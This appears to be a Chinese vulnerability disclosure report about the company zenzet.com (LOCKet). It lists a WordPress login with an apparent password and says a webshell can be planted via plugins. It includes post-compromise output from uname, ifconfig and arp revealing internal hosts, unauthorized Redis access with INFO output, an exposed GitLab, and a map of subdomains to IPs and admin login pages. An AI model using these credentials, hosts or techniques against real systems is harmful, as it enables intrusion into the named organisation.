LOCKet(臻至科技)漏洞一枚可直接内网渗透(Mail泄露/Getshell/Gitlab/Redis可致服务器沦陷)

1、http://blog.zenzet.com:8010/wordpress/blog 123456789a

可以直接根据 plugins 插件写shell

内网：
/>uname -a
Linux ubuntu-14-04-3 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
/>ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:02:1a:20 
          inet addr:192.168.10.161  Bcast:192.168.10.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe02:1a20/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:285900085 errors:0 dropped:137967 overruns:0 frame:0
          TX packets:268148077 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:38541408148 (38.5 GB)  TX bytes:53052633261 (53.0 GB)
lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:610735383 errors:0 dropped:0 overruns:0 frame:0
          TX packets:610735383 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:52625363320 (52.6 GB)  TX bytes:52625363320 (52.6 GB)
/>arp -a
? (192.168.10.32) at 94:eb:cd:53:d7:bd [ether] on eth0
zenzet (192.168.10.39) at a0:99:9b:04:8e:53 [ether] on eth0
? (192.168.10.79) at 6c:40:08:bf:c4:e8 [ether] on eth0
? (192.168.10.182) at 00:0c:29:a0:1e:8b [ether] on eth0
zpf (192.168.10.33) at a4:5e:60:f3:16:61 [ether] on eth0
Rongde-iPhone (192.168.10.40) at 60:92:17:88:0d:b2 [ether] on eth0
? (192.168.10.66) at a4:5e:60:ef:f6:11 [ether] on eth0
? (192.168.10.22) at ec:55:f9:69:8d:33 [ether] on eth0
? (192.168.10.29) at 1c:5c:f2:b8:31:f7 [ether] on eth0
? (192.168.10.176) at 00:0c:29:bc:df:2d [ether] on eth0
? (192.168.10.198) at 00:0c:29:d7:43:04 [ether] on eth0
? (192.168.10.96) at 78:f5:fd:6c:a6:7a [ether] on eth0
? (192.168.10.85) at 70:3e:ac:ed:e2:d0 [ether] on eth0
android-3313730458e50d0a (192.168.10.34) at ac:cf:85:ca:af:73 [ether] on eth0
? (192.168.10.246) at dc:53:60:6f:04:64 [ether] on eth0
? (192.168.10.41) at 60:92:17:88:0d:b2 [ether] on eth0
? (192.168.10.67) at fc:3d:93:16:b0:d7 [ether] on eth0
? (192.168.10.30) at a4:5e:60:ef:f6:11 [ether] on eth0
? (192.168.10.166) at 00:0c:29:cf:ff:78 [ether] on eth0
DESKTOP-L19Q5EU (192.168.10.97) at dc:53:60:6f:04:64 [ether] on eth0
? (192.168.10.199) at 00:0c:29:bc:5f:3f [ether] on eth0
? (192.168.10.53) at b8:e8:56:34:ec:ba [ether] on eth0
Janky (192.168.10.35) at b8:e8:56:34:ec:ba [ether] on eth0
? (192.168.10.42) at ac:bc:32:89:32:63 [ether] on eth0
xuzhens-iPhone (192.168.10.93) at f4:31:c3:61:5a:c9 [ether] on eth0
android-c2dde5ee21615c29 (192.168.10.68) at f0:25:b7:80:aa:17 [ether] on eth0
? (192.168.10.24) at 48:6b:2c:a6:ae:eb [ether] on eth0
? (192.168.10.178) at  on eth0
JeffinBaos-Air (192.168.10.6) at 2c:f0:ee:07:40:ee [ether] on eth0
xiaogeer (192.168.10.31) at 80:ea:96:4a:5d:9d [ether] on eth0
? (192.168.10.98) at ac:cf:85:ca:af:73 [ether] on eth0
? (192.168.10.61) at a4:5e:60:c0:fe:0f [ether] on eth0
? (192.168.10.36) at a4:5e:60:f3:16:61 [ether] on eth0
Cc-2 (192.168.10.94) at 6c:40:08:bf:c4:e8 [ether] on eth0
? (192.168.10.43) at b8:e8:56:34:ec:ba [ether] on eth0
? (192.168.10.99) at 78:92:9c:7e:54:3e [ether] on eth0
wangziruideMBP (192.168.10.37) at 6c:40:08:a9:72:2e [ether] on eth0
caolinjdeiPhone (192.168.10.44) at 70:48:0f:44:11:98 [ether] on eth0
suxiaobgandeAir (192.168.10.70) at a4:d1:8c:f1:4c:f2 [ether] on eth0
? (192.168.10.95) at fc:3d:93:16:b0:d7 [ether] on eth0
router.asus.com (192.168.10.1) at c4:04:15:25:31:48 [ether] on eth0
heysbkukanzheli (192.168.10.100) at fc:e9:98:7c:2f:ba [ether] on eth0
? (192.168.10.82) at 6c:40:08:a9:72:2e [ether] on eth0
? (192.168.10.63) at 60:c5:47:05:b7:3e [ether] on eth0
? (192.168.10.71) at 2c:d0:5a:b1:6c:d3 [ether] on eth0
? (192.168.10.2) at c4:04:15:25:31:48 [ether] on eth0
? (192.168.10.196) at 00:0c:29:10:7b:08 [ether] on eth0
2、Redis未授权访问115.29.203.54:6379115.29.203.54:7000115.29.203.54:6789
Connected.
115.29.203.54:0>info
# Server
redis_version:2.8.17
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:899a50dd343b0f96
redis_mode:standalone
os:Linux 2.6.32-358.6.2.el6.x86_64 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:4.4.7
process_id:20493
run_id:29a859ecf22adfa374f77a992289339978377132
tcp_port:6379
uptime_in_seconds:35225407
uptime_in_days:407
hz:10
lru_clock:2710515
config_file:
# Clients
connected_clients:13
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
# Memory
used_memory:1067992
used_memory_human:1.02M
used_memory_rss:7475200
used_memory_peak:1117904
used_memory_peak_human:1.07M
used_memory_lua:33792
mem_fragmentation_ratio:7.00
mem_allocator:jemalloc-3.6.0
# Persistence
loading:0
rdb_changes_since_last_save:4
rdb_bgsave_in_progress:0
rdb_last_save_time:1449471155
rdb_last_bgsave_status:err
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
# Stats
total_connections_received:4169
total_commands_processed:21271
instantaneous_ops_per_sec:0
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:4785
evicted_keys:0
keyspace_hits:5340
keyspace_misses:156
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:291
# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:13952.89
used_cpu_user:9476.04
used_cpu_sys_children:2241.05
used_cpu_user_children:175.00
# Keyspace
db0:keys=1,expires=0,avg_ttl=0
115.29.203.54:0>keys *
crackit
貌似被人撸了



赶紧查查3、gitlabhttp://git.zenzet.com/ 可以http://git.zenzet.com/explore 直接看所有项目



4、Mail

ok其他的
blog.zenzet.com:122.234.56.66
sso.zenzet.com:121.40.222.125
smtp.zenzet.com:42.120.219.29
ftp.zenzet.com:192.168.10.168
dev.zenzet.com:115.29.203.54
monitor.zenzet.com:121.40.222.125
m.zenzet.com:42.121.103.112
wiki.zenzet.com:115.29.203.54
jobs.zenzet.com:120.55.249.149
pop3.zenzet.com:42.120.219.25
reg.zenzet.com:192.168.10.188
developer.zenzet.com:120.55.196.208
cas.zenzet.com:121.40.222.125
imap.zenzet.com:42.120.219.28
bi.zenzet.com:192.168.10.166
seo.zenzet.com:122.234.56.66
jira.zenzet.com:115.29.203.54
mail.zenzet.com:42.156.140.99
vm.zenzet.com:122.234.56.66
nexus.zenzet.com:192.168.10.188
git.zenzet.com:120.26.71.228
solr.zenzet.com:122.234.56.66
console.zenzet.com:120.55.199.46
review.zenzet.com:115.29.203.54
jump.zenzet.com:122.234.56.66
zk.zenzet.com:122.234.56.66
openapi.zenzet.com:120.55.139.31
jenkins.zenzet.com:192.168.10.188
http://review.zenzet.com/admin/login-default.do
http://115.29.203.54:8060/login
http://115.29.203.54:8090/forgotuserpassword.action
http://jira.zenzet.com/secure/Dashboard.jspa
等等。。。 不在测试 ok 就这样
修复方案：
努力加强安全